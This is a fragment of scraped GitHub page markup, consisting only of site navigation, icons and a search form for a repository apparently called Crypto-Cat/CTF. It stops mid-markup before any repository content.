<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="332726410" data-scoped-search-url="/Crypto-Cat/CTF/search" data-owner-scoped-search-url="/users/Crypto-Cat/search" data-unscoped-search-url="/search" data-turbo="false" action="/Crypto-Cat/CTF/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="sWhJJegMczqLJ/VkX9l6ep4aei9gCRDCg/WvcyiDnXrxmW5HhVG5oFHR9LPPEk/DUM9AMGEPcrsVVwFmnQ576g==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 